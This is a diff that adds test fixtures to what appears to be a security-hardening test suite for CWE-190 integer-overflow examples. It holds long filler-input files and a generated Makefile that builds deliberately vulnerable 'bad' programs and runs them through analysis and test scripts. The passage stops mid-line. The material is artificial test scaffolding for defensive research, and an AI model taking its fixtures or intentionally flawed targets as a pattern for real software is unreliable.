+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt new file mode 100644 index 0000000000000000000000000000000000000000..8ad86ce535d1132a133f3c593e73df0518993887 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt @@ -0,0 +1,3 @@ +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt new file mode 100644 index 0000000000000000000000000000000000000000..98fb6a686563963b8f7e552d747158adbc1c2bd6 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt @@ -0,0 +1,4 @@ +1 +1 +1 +1 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..05bb5bf7b563782f3d2ca6ab4464d08fc1e66ec3 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile @@ -0,0 +1,81 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_190_Example_1_bad.ncexe: CWE_190_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_1_bad.conf + +CWE_190_Example_1_bad: CWE_190_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_1_bad.ps_analyze.log + cp CWE_190_Example_1_bad.conf CWE_190_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_1_bad.conf + +CWE_190_Example_1_bad.run: CWE_190_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_1_bad.ncexe + +CWE_190_Example_2_bad.ncexe: CWE_190_Example_2_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_2_bad.conf + +CWE_190_Example_2_bad: CWE_190_Example_2_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_2_bad.ps_analyze.log + cp CWE_190_Example_2_bad.conf CWE_190_Example_2_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_2_bad.conf + +CWE_190_Example_2_bad.run: CWE_190_Example_2_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_2_bad.ncexe + +modular_bug_finding_example_1.ncexe: modular_bug_finding_example_1.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_1.conf + +modular_bug_finding_example_1: modular_bug_finding_example_1.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_1.ps_analyze.log + cp modular_bug_finding_example_1.conf modular_bug_finding_example_1.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_1.conf + +modular_bug_finding_example_1.run: modular_bug_finding_example_1 + ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_1.ncexe + +modular_bug_finding_example_2.ncexe: modular_bug_finding_example_2.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_2.conf + +modular_bug_finding_example_2: modular_bug_finding_example_2.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_2.ps_analyze.log + cp modular_bug_finding_example_2.conf modular_bug_finding_example_2.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_2.conf + +modular_bug_finding_example_2.run: modular_bug_finding_example_2 + ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_2.ncexe + +UVA_C1_and_C4.ncexe: UVA_C1_and_C4.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >UVA_C1_and_C4.conf + +UVA_C1_and_C4: UVA_C1_and_C4.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee UVA_C1_and_C4.ps_analyze.log + cp UVA_C1_and_C4.conf UVA_C1_and_C4.ncexe.conf + @echo sh 